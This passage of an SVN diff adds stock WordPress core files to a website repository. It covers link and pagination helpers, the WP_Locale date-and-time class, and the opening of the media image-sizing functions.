+			$return = get_previous_posts_link($args['prelabel']);
+			$return .= preg_replace('/&([^#])(?![a-z]{1,8};)/', '&#038;$1', $args['sep']);
+			$return .= get_next_posts_link($args['nxtlabel']);
+		}
+	}
+	return $return;
+
+}
+
+/**
+ * Display post pages link navigation for previous and next pages.
+ *
+ * @since 0.71
+ *
+ * @param string $sep Optional. Separator for posts navigation links.
+ * @param string $prelabel Optional. Label for previous pages.
+ * @param string $nxtlabel Optional Label for next pages.
+ */
+function posts_nav_link( $sep = '', $prelabel = '', $nxtlabel = '' ) {
+	$args = array_filter( compact('sep', 'prelabel', 'nxtlabel') );
+	echo get_posts_nav_link($args);
+}
+
+/**
+ * Retrieve page numbers links.
+ *
+ * @since 2.7.0
+ *
+ * @param int $pagenum Optional. Page number.
+ * @return string
+ */
+function get_comments_pagenum_link( $pagenum = 1, $max_page = 0 ) {
+	global $post, $wp_rewrite;
+
+	$pagenum = (int) $pagenum;
+
+	$result = get_permalink( $post->ID );
+
+	if ( 'newest' == get_option('default_comments_page') ) {
+		if ( $pagenum != $max_page ) {
+			if ( $wp_rewrite->using_permalinks() )
+				$result = user_trailingslashit( trailingslashit($result) . 'comment-page-' . $pagenum, 'commentpaged');
+			else
+				$result = add_query_arg( 'cpage', $pagenum, $result );
+		}
+	} elseif ( $pagenum > 1 ) {
+		if ( $wp_rewrite->using_permalinks() )
+			$result = user_trailingslashit( trailingslashit($result) . 'comment-page-' . $pagenum, 'commentpaged');
+		else
+			$result = add_query_arg( 'cpage', $pagenum, $result );
+	}
+
+	$result .= '#comments';
+
+	$result = apply_filters('get_comments_pagenum_link', $result);
+
+	return $result;
+}
+
+/**
+ * Return the link to next comments pages.
+ *
+ * @since 2.7.1
+ *
+ * @param string $label Optional. Label for link text.
+ * @param int $max_page Optional. Max page.
+ * @return string|null
+ */
+function get_next_comments_link( $label = '', $max_page = 0 ) {
+	global $wp_query;
+
+	if ( !is_singular() || !get_option('page_comments') )
+		return;
+
+	$page = get_query_var('cpage');
+
+	$nextpage = intval($page) + 1;
+
+	if ( empty($max_page) )
+		$max_page = $wp_query->max_num_comment_pages;
+
+	if ( empty($max_page) )
+		$max_page = get_comment_pages_count();
+
+	if ( $nextpage > $max_page )
+		return;
+
+	if ( empty($label) )
+		$label = __('Newer Comments &raquo;');
+
+	return '<a href="' . esc_url( get_comments_pagenum_link( $nextpage, $max_page ) ) . '" ' . apply_filters( 'next_comments_link_attributes', '' ) . '>'. preg_replace('/&([^#])(?![a-z]{1,8};)/', '&#038;$1', $label) .'</a>';
+}
+
+/**
+ * Display the link to next comments pages.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label Optional. Label for link text.
+ * @param int $max_page Optional. Max page.
+ */
+function next_comments_link( $label = '', $max_page = 0 ) {
+	echo get_next_comments_link( $label, $max_page );
+}
+
+/**
+ * Return the previous comments page link.
+ *
+ * @since 2.7.1
+ *
+ * @param string $label Optional. Label for comments link text.
+ * @return string|null
+ */
+function get_previous_comments_link( $label = '' ) {
+	if ( !is_singular() || !get_option('page_comments') )
+		return;
+
+	$page = get_query_var('cpage');
+
+	if ( intval($page) <= 1 )
+		return;
+
+	$prevpage = intval($page) - 1;
+
+	if ( empty($label) )
+		$label = __('&laquo; Older Comments');
+
+	return '<a href="' . esc_url( get_comments_pagenum_link( $prevpage ) ) . '" ' . apply_filters( 'previous_comments_link_attributes', '' ) . '>' . preg_replace('/&([^#])(?![a-z]{1,8};)/', '&#038;$1', $label) .'</a>';
+}
+
+/**
+ * Display the previous comments page link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label Optional. Label for comments link text.
+ */
+function previous_comments_link( $label = '' ) {
+	echo get_previous_comments_link( $label );
+}
+
+/**
+ * Create pagination links for the comments on the current post.
+ *
+ * @see paginate_links()
+ * @since 2.7.0
+ *
+ * @param string|array $args Optional args. See paginate_links.
+ * @return string Markup for pagination links.
+*/
+function paginate_comments_links($args = array()) {
+	global $wp_query, $wp_rewrite;
+
+	if ( !is_singular() || !get_option('page_comments') )
+		return;
+
+	$page = get_query_var('cpage');
+	if ( !$page )
+		$page = 1;
+	$max_page = get_comment_pages_count();
+	$defaults = array(
+		'base' => add_query_arg( 'cpage', '%#%' ),
+		'format' => '',
+		'total' => $max_page,
+		'current' => $page,
+		'echo' => true,
+		'add_fragment' => '#comments'
+	);
+	if ( $wp_rewrite->using_permalinks() )
+		$defaults['base'] = user_trailingslashit(trailingslashit(get_permalink()) . 'comment-page-%#%', 'commentpaged');
+
+	$args = wp_parse_args( $args, $defaults );
+	$page_links = paginate_links( $args );
+
+	if ( $args['echo'] )
+		echo $page_links;
+	else
+		return $page_links;
+}
+
+/**
+ * Retrieve shortcut link.
+ *
+ * Use this in 'a' element 'href' attribute.
+ *
+ * @since 2.6.0
+ *
+ * @return string
+ */
+function get_shortcut_link() {
+	$link = "javascript:
+			var d=document,
+			w=window,
+			e=w.getSelection,
+			k=d.getSelection,
+			x=d.selection,
+			s=(e?e():(k)?k():(x?x.createRange().text:0)),
+			f='" . admin_url('press-this.php') . "',
+			l=d.location,
+			e=encodeURIComponent,
+			g=f+'?u='+e(l.href)+'&t='+e(d.title)+'&s='+e(s)+'&v=2';
+			function a(){
+				if(!w.open(g,'t','toolbar=0,resizable=0,scrollbars=1,status=1,width=720,height=570')){
+					l.href=g;
+				}
+			}";
+			if (strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox') !== false)
+				$link .= 'setTimeout(a,0);';
+			else
+				$link .= 'a();';
+
+			$link .= "void(0);";
+
+	$link = str_replace(array("\r", "\n", "\t"),  '', $link);
+
+	return apply_filters('shortcut_link', $link);
+}
+
+/**
+ * Retrieve the site url.
+ *
+ * Returns the 'site_url' option with the appropriate protocol,  'https' if
+ * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
+ * overridden.
+ *
+ * @package WordPress
+ * @since 2.6.0
+ *
+ * @param string $path Optional. Path relative to the site url.
+ * @param string $scheme Optional. Scheme to give the site url context. Currently 'http','https', 'login', 'login_post', or 'admin'.
+ * @return string Site url link with optional path appended.
+*/
+function site_url($path = '', $scheme = null) {
+	// should the list of allowed schemes be maintained elsewhere?
+	$orig_scheme = $scheme;
+	if ( !in_array($scheme, array('http', 'https')) ) {
+		if ( ( 'login_post' == $scheme || 'rpc' == $scheme ) && ( force_ssl_login() || force_ssl_admin() ) )
+			$scheme = 'https';
+		elseif ( ('login' == $scheme) && ( force_ssl_admin() ) )
+			$scheme = 'https';
+		elseif ( ('admin' == $scheme) && force_ssl_admin() )
+			$scheme = 'https';
+		else
+			$scheme = ( is_ssl() ? 'https' : 'http' );
+	}
+
+	$url = str_replace( 'http://', "{$scheme}://", get_option('siteurl') );
+
+	if ( !empty($path) && is_string($path) && strpos($path, '..') === false )
+		$url .= '/' . ltrim($path, '/');
+
+	return apply_filters('site_url', $url, $path, $orig_scheme);
+}
+
+/**
+ * Retrieve the url to the admin area.
+ *
+ * @package WordPress
+ * @since 2.6.0
+ *
+ * @param string $path Optional path relative to the admin url
+ * @return string Admin url link with optional path appended
+*/
+function admin_url($path = '') {
+	$url = site_url('wp-admin/', 'admin');
+
+	if ( !empty($path) && is_string($path) && strpos($path, '..') === false )
+		$url .= ltrim($path, '/');
+
+	return apply_filters('admin_url', $url, $path);
+}
+
+/**
+ * Retrieve the url to the includes directory.
+ *
+ * @package WordPress
+ * @since 2.6.0
+ *
+ * @param string $path Optional. Path relative to the includes url.
+ * @return string Includes url link with optional path appended.
+*/
+function includes_url($path = '') {
+	$url = site_url() . '/' . WPINC . '/';
+
+	if ( !empty($path) && is_string($path) && strpos($path, '..') === false )
+		$url .= ltrim($path, '/');
+
+	return apply_filters('includes_url', $url, $path);
+}
+
+/**
+ * Retrieve the url to the content directory.
+ *
+ * @package WordPress
+ * @since 2.6.0
+ *
+ * @param string $path Optional. Path relative to the content url.
+ * @return string Content url link with optional path appended.
+*/
+function content_url($path = '') {
+	$scheme = ( is_ssl() ? 'https' : 'http' );
+	$url = WP_CONTENT_URL;
+	if ( 0 === strpos($url, 'http') ) {
+		if ( is_ssl() )
+			$url = str_replace( 'http://', "{$scheme}://", $url );
+	}
+
+	if ( !empty($path) && is_string($path) && strpos($path, '..') === false )
+		$url .= '/' . ltrim($path, '/');
+
+	return apply_filters('content_url', $url, $path);
+}
+
+/**
+ * Retrieve the url to the plugins directory or to a specific file within that directory.
+ * You can hardcode the plugin slug in $path or pass __FILE__ as a second argument to get the correct folder name.
+ *
+ * @package WordPress
+ * @since 2.6.0
+ *
+ * @param string $path Optional. Path relative to the plugins url.
+ * @param string $plugin Optional. The plugin file that you want to be relative to - i.e. pass in __FILE__
+ * @return string Plugins url link with optional path appended.
+*/
+function plugins_url($path = '', $plugin = '') {
+	$scheme = ( is_ssl() ? 'https' : 'http' );
+
+	if ( $plugin !== '' && preg_match('#^' . preg_quote(WPMU_PLUGIN_DIR . DIRECTORY_SEPARATOR, '#') . '#', $plugin) ) {
+		$url = WPMU_PLUGIN_URL;
+	} else {
+		$url = WP_PLUGIN_URL;
+	}
+
+	if ( 0 === strpos($url, 'http') ) {
+		if ( is_ssl() )
+			$url = str_replace( 'http://', "{$scheme}://", $url );
+	}
+
+	if ( !empty($plugin) && is_string($plugin) ) {
+		$folder = dirname(plugin_basename($plugin));
+		if ('.' != $folder)
+			$url .= '/' . ltrim($folder, '/');
+	}
+
+	if ( !empty($path) && is_string($path) && strpos($path, '..') === false )
+		$url .= '/' . ltrim($path, '/');
+
+	return apply_filters('plugins_url', $url, $path, $plugin);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/locale.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/locale.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/locale.php	(revision 44)
@@ -0,0 +1,335 @@
+<?php
+/**
+ * Date and Time Locale object
+ *
+ * @package WordPress
+ * @subpackage i18n
+ */
+
+/**
+ * Class that loads the calendar locale.
+ *
+ * @since 2.1.0
+ */
+class WP_Locale {
+	/**
+	 * Stores the translated strings for the full weekday names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $weekday;
+
+	/**
+	 * Stores the translated strings for the one character weekday names.
+	 *
+	 * There is a hack to make sure that Tuesday and Thursday, as well
+	 * as Sunday and Saturday don't conflict. See init() method for more.
+	 *
+	 * @see WP_Locale::init() for how to handle the hack.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $weekday_initial;
+
+	/**
+	 * Stores the translated strings for the abbreviated weekday names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $weekday_abbrev;
+
+	/**
+	 * Stores the translated strings for the full month names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $month;
+
+	/**
+	 * Stores the translated strings for the abbreviated month names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $month_abbrev;
+
+	/**
+	 * Stores the translated strings for 'am' and 'pm'.
+	 *
+	 * Also the capalized versions.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $meridiem;
+
+	/**
+	 * The text direction of the locale language.
+	 *
+	 * Default is left to right 'ltr'.
+	 *
+	 * @since 2.1.0
+	 * @var string
+	 * @access private
+	 */
+	var $text_direction = 'ltr';
+
+	/**
+	 * Imports the global version to the class property.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $locale_vars = array('text_direction');
+
+	/**
+	 * Sets up the translated strings and object properties.
+	 *
+	 * The method creates the translatable strings for various
+	 * calendar elements. Which allows for specifying locale
+	 * specific calendar names and text direction.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 */
+	function init() {
+		// The Weekdays
+		$this->weekday[0] = __('Sunday');
+		$this->weekday[1] = __('Monday');
+		$this->weekday[2] = __('Tuesday');
+		$this->weekday[3] = __('Wednesday');
+		$this->weekday[4] = __('Thursday');
+		$this->weekday[5] = __('Friday');
+		$this->weekday[6] = __('Saturday');
+
+		// The first letter of each day.  The _%day%_initial suffix is a hack to make
+		// sure the day initials are unique.
+		$this->weekday_initial[__('Sunday')]    = __('S_Sunday_initial');
+		$this->weekday_initial[__('Monday')]    = __('M_Monday_initial');
+		$this->weekday_initial[__('Tuesday')]   = __('T_Tuesday_initial');
+		$this->weekday_initial[__('Wednesday')] = __('W_Wednesday_initial');
+		$this->weekday_initial[__('Thursday')]  = __('T_Thursday_initial');
+		$this->weekday_initial[__('Friday')]    = __('F_Friday_initial');
+		$this->weekday_initial[__('Saturday')]  = __('S_Saturday_initial');
+
+		foreach ($this->weekday_initial as $weekday_ => $weekday_initial_) {
+			$this->weekday_initial[$weekday_] = preg_replace('/_.+_initial$/', '', $weekday_initial_);
+		}
+
+		// Abbreviations for each day.
+		$this->weekday_abbrev[__('Sunday')]    = __('Sun');
+		$this->weekday_abbrev[__('Monday')]    = __('Mon');
+		$this->weekday_abbrev[__('Tuesday')]   = __('Tue');
+		$this->weekday_abbrev[__('Wednesday')] = __('Wed');
+		$this->weekday_abbrev[__('Thursday')]  = __('Thu');
+		$this->weekday_abbrev[__('Friday')]    = __('Fri');
+		$this->weekday_abbrev[__('Saturday')]  = __('Sat');
+
+		// The Months
+		$this->month['01'] = __('January');
+		$this->month['02'] = __('February');
+		$this->month['03'] = __('March');
+		$this->month['04'] = __('April');
+		$this->month['05'] = __('May');
+		$this->month['06'] = __('June');
+		$this->month['07'] = __('July');
+		$this->month['08'] = __('August');
+		$this->month['09'] = __('September');
+		$this->month['10'] = __('October');
+		$this->month['11'] = __('November');
+		$this->month['12'] = __('December');
+
+		// Abbreviations for each month. Uses the same hack as above to get around the
+		// 'May' duplication.
+		$this->month_abbrev[__('January')] = __('Jan_January_abbreviation');
+		$this->month_abbrev[__('February')] = __('Feb_February_abbreviation');
+		$this->month_abbrev[__('March')] = __('Mar_March_abbreviation');
+		$this->month_abbrev[__('April')] = __('Apr_April_abbreviation');
+		$this->month_abbrev[__('May')] = __('May_May_abbreviation');
+		$this->month_abbrev[__('June')] = __('Jun_June_abbreviation');
+		$this->month_abbrev[__('July')] = __('Jul_July_abbreviation');
+		$this->month_abbrev[__('August')] = __('Aug_August_abbreviation');
+		$this->month_abbrev[__('September')] = __('Sep_September_abbreviation');
+		$this->month_abbrev[__('October')] = __('Oct_October_abbreviation');
+		$this->month_abbrev[__('November')] = __('Nov_November_abbreviation');
+		$this->month_abbrev[__('December')] = __('Dec_December_abbreviation');
+
+		foreach ($this->month_abbrev as $month_ => $month_abbrev_) {
+			$this->month_abbrev[$month_] = preg_replace('/_.+_abbreviation$/', '', $month_abbrev_);
+		}
+
+		// The Meridiems
+		$this->meridiem['am'] = __('am');
+		$this->meridiem['pm'] = __('pm');
+		$this->meridiem['AM'] = __('AM');
+		$this->meridiem['PM'] = __('PM');
+
+		// Numbers formatting
+		// See http://php.net/number_format
+
+		/* translators: $decimals argument for http://php.net/number_format, default is 0 */
+		$trans = __('number_format_decimals');
+		$this->number_format['decimals'] = ('number_format_decimals' == $trans) ? 0 : $trans;
+
+		/* translators: $dec_point argument for http://php.net/number_format, default is . */
+		$trans = __('number_format_decimal_point');
+		$this->number_format['decimal_point'] = ('number_format_decimal_point' == $trans) ? '.' : $trans;
+
+		/* translators: $thousands_sep argument for http://php.net/number_format, default is , */
+		$trans = __('number_format_thousands_sep');
+		$this->number_format['thousands_sep'] = ('number_format_thousands_sep' == $trans) ? ',' : $trans;
+
+		// Import global locale vars set during inclusion of $locale.php.
+		foreach ( (array) $this->locale_vars as $var ) {
+			if ( isset($GLOBALS[$var]) )
+				$this->$var = $GLOBALS[$var];
+		}
+
+	}
+
+	/**
+	 * Retrieve the full translated weekday word.
+	 *
+	 * Week starts on translated Sunday and can be fetched
+	 * by using 0 (zero). So the week starts with 0 (zero)
+	 * and ends on Saturday with is fetched by using 6 (six).
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param int $weekday_number 0 for Sunday through 6 Saturday
+	 * @return string Full translated weekday
+	 */
+	function get_weekday($weekday_number) {
+		return $this->weekday[$weekday_number];
+	}
+
+	/**
+	 * Retrieve the translated weekday initial.
+	 *
+	 * The weekday initial is retrieved by the translated
+	 * full weekday word. When translating the weekday initial
+	 * pay attention to make sure that the starting letter does
+	 * not conflict.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $weekday_name
+	 * @return string
+	 */
+	function get_weekday_initial($weekday_name) {
+		return $this->weekday_initial[$weekday_name];
+	}
+
+	/**
+	 * Retrieve the translated weekday abbreviation.
+	 *
+	 * The weekday abbreviation is retrieved by the translated
+	 * full weekday word.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $weekday_name Full translated weekday word
+	 * @return string Translated weekday abbreviation
+	 */
+	function get_weekday_abbrev($weekday_name) {
+		return $this->weekday_abbrev[$weekday_name];
+	}
+
+	/**
+	 * Retrieve the full translated month by month number.
+	 *
+	 * The $month_number parameter has to be a string
+	 * because it must have the '0' in front of any number
+	 * that is less than 10. Starts from '01' and ends at
+	 * '12'.
+	 *
+	 * You can use an integer instead and it will add the
+	 * '0' before the numbers less than 10 for you.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string|int $month_number '01' through '12'
+	 * @return string Translated full month name
+	 */
+	function get_month($month_number) {
+		return $this->month[zeroise($month_number, 2)];
+	}
+
+	/**
+	 * Retrieve translated version of month abbreviation string.
+	 *
+	 * The $month_name parameter is expected to be the translated or
+	 * translatable version of the month.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $month_name Translated month to get abbreviated version
+	 * @return string Translated abbreviated month
+	 */
+	function get_month_abbrev($month_name) {
+		return $this->month_abbrev[$month_name];
+	}
+
+	/**
+	 * Retrieve translated version of meridiem string.
+	 *
+	 * The $meridiem parameter is expected to not be translated.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $meridiem Either 'am', 'pm', 'AM', or 'PM'. Not translated version.
+	 * @return string Translated version
+	 */
+	function get_meridiem($meridiem) {
+		return $this->meridiem[$meridiem];
+	}
+
+	/**
+	 * Global variables are deprecated. For backwards compatibility only.
+	 *
+	 * @deprecated For backwards compatibility only.
+	 * @access private
+	 *
+	 * @since 2.1.0
+	 */
+	function register_globals() {
+		$GLOBALS['weekday']         = $this->weekday;
+		$GLOBALS['weekday_initial'] = $this->weekday_initial;
+		$GLOBALS['weekday_abbrev']  = $this->weekday_abbrev;
+		$GLOBALS['month']           = $this->month;
+		$GLOBALS['month_abbrev']    = $this->month_abbrev;
+	}
+
+	/**
+	 * PHP4 style constructor which calls helper methods to set up object variables
+	 *
+	 * @uses WP_Locale::init()
+	 * @uses WP_Locale::register_globals()
+	 * @since 2.1.0
+	 *
+	 * @return WP_Locale
+	 */
+	function WP_Locale() {
+		$this->init();
+		$this->register_globals();
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/media.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/media.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/media.php	(revision 44)
@@ -0,0 +1,796 @@
+<?php
+/**
+ * WordPress API for media display.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Scale down the default size of an image.
+ *
+ * This is so that the image is a better fit for the editor and theme.
+ *
+ * The $size parameter accepts either an array or a string. The supported string
+ * values are 'thumb' or 'thumbnail' for the given thumbnail size or defaults at
+ * 128 width and 96 height in pixels. Also supported for the string value is
+ * 'medium' and 'full'. The 'full' isn't actually supported, but any value other
+ * than the supported will result in the content_width size or 500 if that is
+ * not set.
+ *
+ * Finally, there is a filter named, 'editor_max_image_size' that will be called
+ * on the calculated array for width and height, respectively. The second
+ * parameter will be the value that was in the $size parameter. The returned
+ * type for the hook is an array with the width as the first element and the
+ * height as the second element.
+ *
+ * @since 2.5.0
+ * @uses wp_constrain_dimensions() This function passes the widths and the heights.
+ *
+ * @param int $width Width of the image
+ * @param int $height Height of the image
+ * @param string|array $size Size of what the result image should be.
+ * @return array Width and height of what the result image should resize to.
+ */
+function image_constrain_size_for_editor($width, $height, $size = 'medium') {
+	global $content_width;
+
+	if ( is_array($size) ) {
+		$max_width = $size[0];
+		$max_height = $size[1];
+	}
+	elseif ( $size == 'thumb' || $size == 'thumbnail' ) {
+		$max_width = intval(get_option('thumbnail_size_w'));
+		$max_height = intval(get_option('thumbnail_size_h'));
+		// last chance thumbnail size defaults
+		if ( !$max_width && !$max_height ) {
+			$max_width = 128;
+			$max_height = 96;
+		}
+	}
+	elseif ( $size == 'medium' ) {
+		$max_width = intval(get_option('medium_size_w'));
+		$max_height = intval(get_option('medium_size_h'));
+		// if no width is set, default to the theme content width if available
+	}
+	elseif ( $size == 'large' ) {
+		// we're inserting a large size image into the editor.  if it's a really
+		// big image we'll scale it down to fit reasonably within the editor
+		// itself, and within the theme's content width if it's known.  the user
+		// can resize it in the editor if they wish.
+		$max_width = intval(get_option('large_size_w'));
+		$max_height = intval(get_option('large_size_h'));
+		if ( intval($content_width) > 0 )
+			$max_width = min( intval($content_width), $max_width );
+	}
+	// $size == 'full' has no constraint
+	else {
+		$max_width = $width;
+		$max_height = $height;
+	}
+
+	list( $max_width, $max_height ) = apply_filters( 'editor_max_image_size', array( $max_width, $max_height ), $size );
+
+	return wp_constrain_dimensions( $width, $height, $max_width, $max_height );
+}
+
+/**
+ * Retrieve width and height attributes using given width and height values.
+ *
+ * Both attributes are required in the sense that both parameters must have a
+ * value, but are optional in that if you set them to false or null, then they
+ * will not be added to the returned string.
+ *
+ * You can set the value using a string, but it will only take numeric values.
+ * If you wish to put 'px' after the numbers, then it will be stripped out of
+ * the return.
+ *
+ * @since 2.5.0
+ *
+ * @param int|string $width Optional. Width attribute value.
+ * @param int|string $height Optional. Height attribute value.
+ * @return string HTML attributes for width and, or height.
+ */
+function image_hwstring($width, $height) {
+	$out = '';
+	if ($width)
+		$out .= 'width="'.intval($width).'" ';
+	if ($height)
+		$out .= 'height="'.intval($height).'" ';
+	return $out;
+}
+
+/**
+ * Scale an image to fit a particular size (such as 'thumb' or 'medium').
+ *
+ * Array with image url, width, height, and whether is intermediate size, in
+ * that order is returned on success is returned. $is_intermediate is true if
+ * $url is a resized image, false if it is the original.
+ *
+ * The URL might be the original image, or it might be a resized version. This
+ * function won't create a new resized copy, it will just return an already
+ * resized one if it exists.
+ *
+ * A plugin may use the 'image_downsize' filter to hook into and offer image
+ * resizing services for images. The hook must return an array with the same
+ * elements that are returned in the function. The first element being the URL
+ * to the new image that was resized.
+ *
+ * @since 2.5.0
+ * @uses apply_filters() Calls 'image_downsize' on $id and $size to provide
+ *		resize services.
+ *
+ * @param int $id Attachment ID for image.
+ * @param string $size Optional, default is 'medium'. Size of image, can be 'thumbnail'.
+ * @return bool|array False on failure, array on success.
+ */
+function image_downsize($id, $size = 'medium') {
+
+	if ( !wp_attachment_is_image($id) )
+		return false;
+
+	$img_url = wp_get_attachment_url($id);
+	$meta = wp_get_attachment_metadata($id);
+	$width = $height = 0;
+	$is_intermediate = false;
+
+	// plugins can use this to provide resize services
+	if ( $out = apply_filters('image_downsize', false, $id, $size) )
+		return $out;
+
+	// try for a new style intermediate size
+	if ( $intermediate = image_get_intermediate_size($id, $size) ) {
+		$img_url = str_replace(basename($img_url), $intermediate['file'], $img_url);
+		$width = $intermediate['width'];
+		$height = $intermediate['height'];
+		$is_intermediate = true;
+	}
+	elseif ( $size == 'thumbnail' ) {
+		// fall back to the old thumbnail
+		if ( ($thumb_file = wp_get_attachment_thumb_file($id)) && $info = getimagesize($thumb_file) ) {
+			$img_url = str_replace(basename($img_url), basename($thumb_file), $img_url);
+			$width = $info[0];
+			$height = $info[1];
+			$is_intermediate = true;
+		}
+	}
+	if ( !$width && !$height && isset($meta['width'], $meta['height']) ) {
+		// any other type: use the real image
+		$width = $meta['width'];
+		$height = $meta['height'];
+	}
+
+	if ( $img_url) {
+		// we have the actual image size, but might need to further constrain it if content_width is narrower
+		list( $width, $height ) = image_constrain_size_for_editor( $width, $height, $size );
+
+		return array( $img_url, $width, $height, $is_intermediate );
+	}
+	return false;
+
+}
+
+/**
+ * An <img src /> tag for an image attachment, scaling it down if requested.
+ *
+ * The filter 'get_image_tag_class' allows for changing the class name for the
+ * image without having to use regular expressions on the HTML content. The
+ * parameters are: what WordPress will use for the class, the Attachment ID,
+ * image align value, and the size the image should be.
+ *
+ * The second filter 'get_image_tag' has the HTML content, which can then be
+ * further manipulated by a plugin to change all attribute values and even HTML
+ * content.
+ *
+ * @since 2.5.0
+ *
+ * @uses apply_filters() The 'get_image_tag_class' filter is the IMG element
+ *		class attribute.
+ * @uses apply_filters() The 'get_image_tag' filter is the full IMG element with
+ *		all attributes.
+ *
+ * @param int $id Attachment ID.
+ * @param string $alt Image Description for the alt attribute.
+ * @param string $title Image Description for the title attribute.
+ * @param string $align Part of the class name for aligning the image.
+ * @param string $size Optional. Default is 'medium'.
+ * @return string HTML IMG element for given image attachment
+ */
+function get_image_tag($id, $alt, $title, $align, $size='medium') {
+
+	list( $img_src, $width, $height ) = image_downsize($id, $size);
+	$hwstring = image_hwstring($width, $height);
+
+	$class = 'align' . esc_attr($align) .' size-' . esc_attr($size) . ' wp-image-' . $id;
+	$class = apply_filters('get_image_tag_class', $class, $id, $align, $size);
+
+	$html = '<img src="' . esc_attr($img_src) . '" alt="' . esc_attr($alt) . '" title="' . esc_attr($title).'" '.$hwstring.'class="'.$class.'" />';
+
+	$html = apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size );
+
+	return $html;
+}
+
+/**
+ * Calculates the new dimentions for a downsampled image.
+ *
+ * Same as {@link wp_shrink_dimensions()}, except the max parameters are
+ * optional. If either width or height are empty, no constraint is applied on
+ * that dimension.
+ *
+ * @since 2.5.0
+ *
+ * @param int $current_width Current width of the image.
+ * @param int $current_height Current height of the image.
+ * @param int $max_width Optional. Maximum wanted width.
+ * @param int $max_height Optional. Maximum wanted height.
+ * @return array First item is the width, the second item is the height.
+ */
+function wp_constrain_dimensions( $current_width, $current_height, $max_width=0, $max_height=0 ) {
+	if ( !$max_width and !$max_height )
+		return array( $current_width, $current_height );
+
+	$width_ratio = $height_ratio = 1.0;
+
+	if ( $max_width > 0 && $current_width > 0 && $current_width > $max_width )
+		$width_ratio = $max_width / $current_width;
+
+	if ( $max_height > 0 && $current_height > 0 && $current_height > $max_height )
+		$height_ratio = $max_height / $current_height;
+
+	// the smaller ratio is the one we need to fit it to the constraining box
+	$ratio = min( $width_ratio, $height_ratio );
+
+	return array( intval($current_width * $ratio), intval($current_height * $ratio) );
+}
+
+/**
+ * Retrieve calculated resized dimensions for use in imagecopyresampled().
+ *
+ * Calculate dimensions and coordinates for a resized image that fits within a
+ * specified width and height. If $crop is true, the largest matching central
+ * portion of the image will be cropped out and resized to the required size.
+ *
+ * @since 2.5.0
+ *
+ * @param int $orig_w Original width.
+ * @param int $orig_h Original height.
+ * @param int $dest_w New width.
+ * @param int $dest_h New height.
+ * @param bool $crop Optional, default is false. Whether to crop image or resize.
+ * @return bool|array False, on failure. Returned array matches parameters for imagecopyresampled() PHP function.
+ */
+function image_resize_dimensions($orig_w, $orig_h, $dest_w, $dest_h, $crop=false) {
+
+	if ($orig_w <= 0 || $orig_h <= 0)
+		return false;
+	// at least one of dest_w or dest_h must be specific
+	if ($dest_w <= 0 && $dest_h <= 0)
+		return false;
+
+	if ( $crop ) {
+		// crop the largest possible portion of the original image that we can size to $dest_w x $dest_h
+		$aspect_ratio = $orig_w / $orig_h;
+		$new_w = min($dest_w, $orig_w);
+		$new_h = min($dest_h, $orig_h);
+		if (!$new_w) {
+			$new_w = intval($new_h * $aspect_ratio);
+		}
+		if (!$new_h) {
+			$new_h = intval($new_w / $aspect_ratio);
+		}
+
+		$size_ratio = max($new_w / $orig_w, $new_h / $orig_h);
+
+		$crop_w = ceil($new_w / $size_ratio);
+		$crop_h = ceil($new_h / $size_ratio);
+
+		$s_x = floor(($orig_w - $crop_w)/2);
+		$s_y = floor(($orig_h - $crop_h)/2);
+	}
+	else {
+		// don't crop, just resize using $dest_w x $dest_h as a maximum bounding box
+		$crop_w = $orig_w;
+		$crop_h = $orig_h;
+
+		$s_x = 0;
+		$s_y = 0;
+
+		list( $new_w, $new_h ) = wp_constrain_dimensions( $orig_w, $orig_h, $dest_w, $dest_h );
+	}
+
+	// if the resulting image would be the same size or larger we don't want to resize it
+	if ($new_w >= $orig_w && $new_h >= $orig_h)
+		return false;
+
+	// the return array matches the parameters to imagecopyresampled()
+	// int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h
+	return array(0, 0, $s_x, $s_y, $new_w, $new_h, $crop_w, $crop_h);
+
+}
+
+/**
+ * Scale down an image to fit a particular size and save a new copy of the image.
+ *
+ * The PNG transparency will be preserved using the function, as well as the
+ * image type. If the file going in is PNG, then the resized image is going to
+ * be PNG. The only supported image types are PNG, GIF, and JPEG.
+ *
+ * Some functionality requires API to exist, so some PHP version may lose out
+ * support. This is not the fault of WordPress (where functionality is
+ * downgraded, not actual defects), but of your PHP version.
+ *
+ * @since 2.5.0
+ *
+ * @param string $file Image file path.
+ * @param int $max_w Maximum width to resize to.
+ * @param int $max_h Maximum height to resize to.
+ * @param bool $crop Optional. Whether to crop image or resize.
+ * @param string $suffix Optional. File Suffix.
+ * @param string $dest_path Optional. New image file path.
+ * @param int $jpeg_quality Optional, default is 90. Image quality percentage.
+ * @return mixed WP_Error on failure. String with new destination path. Array of dimensions from {@link image_resize_dimensions()}
+ */
